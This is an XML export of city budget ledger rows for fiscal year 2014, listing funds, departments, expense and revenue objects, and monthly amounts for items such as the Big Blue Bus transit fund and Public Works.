<row _id="8604"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>404810.0</object><object_description>REFUSE BINS - STORAGE FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-67400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-67400.0</total></row>
<row _id="8605"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9675.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9675.0</total></row>
<row _id="8606"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>314</division_id><division_name>FIRE PREVENTION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>46002.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>46002.0</total></row>
<row _id="8607"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>30</fund_id><fund_name>Pier Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>623</division_id><division_name>HARBOR UNIT</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1968.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1968.0</total></row>
<row _id="8608"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>555030.0</object><object_description>EMPLOYEE MEDICAL EXAMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4000.0</total></row>
<row _id="8609"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>47178.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>47178.0</total></row>
<row _id="8610"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>202</division_id><division_name>CITY MANAGER - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>278238.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>278238.0</total></row>
<row _id="8611"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>43</fund_id><fund_name>Gas Tax Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>400.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>400.0</total></row>
<row _id="8612"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>140</department_id><department_name>CITY ATTORNEY</department_name><division_id>231</division_id><division_name>CITY ATTORNEY</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1777.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1777.0</total></row>
<row _id="8613"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10346.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10346.0</total></row>
<row _id="8614"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>567010.0</object><object_description>PUBLIC SAFETY BONDS</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>965750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>965750.0</total></row>
<row _id="8615"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2091.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2091.0</total></row>
<row _id="8616"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>566970.0</object><object_description>FINGERPRINTING</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>90200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>90200.0</total></row>
<row _id="8617"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5100.0</total></row>
<row _id="8618"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>41000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>41000.0</total></row>
<row _id="8619"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>407150.0</object><object_description>SALE OF RECYCLED WATER</object_description><category_code>650.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-90000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-90000.0</total></row>
<row _id="8620"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4502.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4502.0</total></row>
<row _id="8621"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>58041.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58041.0</total></row>
<row _id="8622"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522820.0</object><object_description>CONFERENCES/MEETINGS/TRAVEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="8623"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522950.0</object><object_description>CNG FUEL</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>941.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>941.0</total></row>
<row _id="8624"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>640</division_id><division_name>TRANSIT EXECUTIVE</division_name><object>577064.0</object><object_description>OTHER MISCELLANEOUS EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
<row _id="8625"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3535.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3535.0</total></row>
<row _id="8626"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>555061.0</object><object_description>OUTSIDE AUDIT EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15375.0</total></row>
<row _id="8627"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>18907.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18907.0</total></row>
<row _id="8628"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>BUSINESS &amp; REVENUE OPERATIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8629"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>417</division_id><division_name>PARKING OPERATIONS</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>816.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>9020.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9020.0</total></row>
<row _id="8630"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>402060.0</object><object_description>STA SALES TAX -OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-2425957.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2425957.0</total></row>
<row _id="8631"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>404820.0</object><object_description>PROP A SALES TAX</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-12229633.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-12229633.0</total></row>
<row _id="8632"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578080.0</object><object_description>TRANSIT MALL MAINTENANCE</object_description><category_code>910.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>99493.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>99493.0</total></row>
<row _id="8633"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>522318.0</object><object_description>SAFETY &amp; SERVICE AWARDS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20000.0</total></row>
<row _id="8634"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>643</division_id><division_name>TRANSIT CUSTOMER &amp; GOVT RELAT</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="8635"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object xsi:nil="true" /><object_description>PRINTING - GENERAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17000.0</total></row>
<row _id="8636"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>400570.0</object><object_description>ADMIN FINES/PENALTIES</object_description><category_code>614.0</category_code><category_code_description>Fines and Forfeitures</category_code_description><fiscal_year>2014</fiscal_year><july>-5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5000.0</total></row>
<row _id="8637"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400360.0</object><object_description>SMARS SOCIAL PROGRAM</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-3500.0</total></row>
<row _id="8638"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>400400.0</object><object_description>FIELD CONCESSION &amp; STORAGE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-18631.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18631.0</total></row>
<row _id="8639"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>407560.0</object><object_description>SPECIAL INSPECTION FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-13000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-13000.0</total></row>
<row _id="8640"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object>555021.0</object><object_description>DETECTION &amp; ALARM SYSTEMS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3375.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3375.0</total></row>
<row _id="8641"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>12356.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>12356.0</total></row>
<row _id="8642"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>544390.0</object><object_description>OTHER COSTS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5272.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5272.0</total></row>
<row _id="8643"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3487.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3487.0</total></row>
<row _id="8644"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>540.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>540.0</total></row>
<row _id="8645"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>16085.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>16085.0</total></row>
<row _id="8646"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>29232.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>29232.0</total></row>
<row _id="8647"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>100</department_id><department_name>CITY COUNCIL</department_name><division_id>201</division_id><division_name>CITY COUNCIL</division_name><object>533660.0</object><object_description>CONF / MTGS / TRAVEL -</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4165.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4165.0</total></row>
<row _id="8648"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>522319.0</object><object_description>GENERAL OFFICE SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>18143.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>18143.0</total></row>
<row _id="8649"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>646.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>646.0</total></row>
<row _id="8650"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>670</division_id><division_name>TRANSIT SAFETY &amp; TRAINING</division_name><object xsi:nil="true" /><object_description>SAFETY EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>5000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>5000.0</total></row>
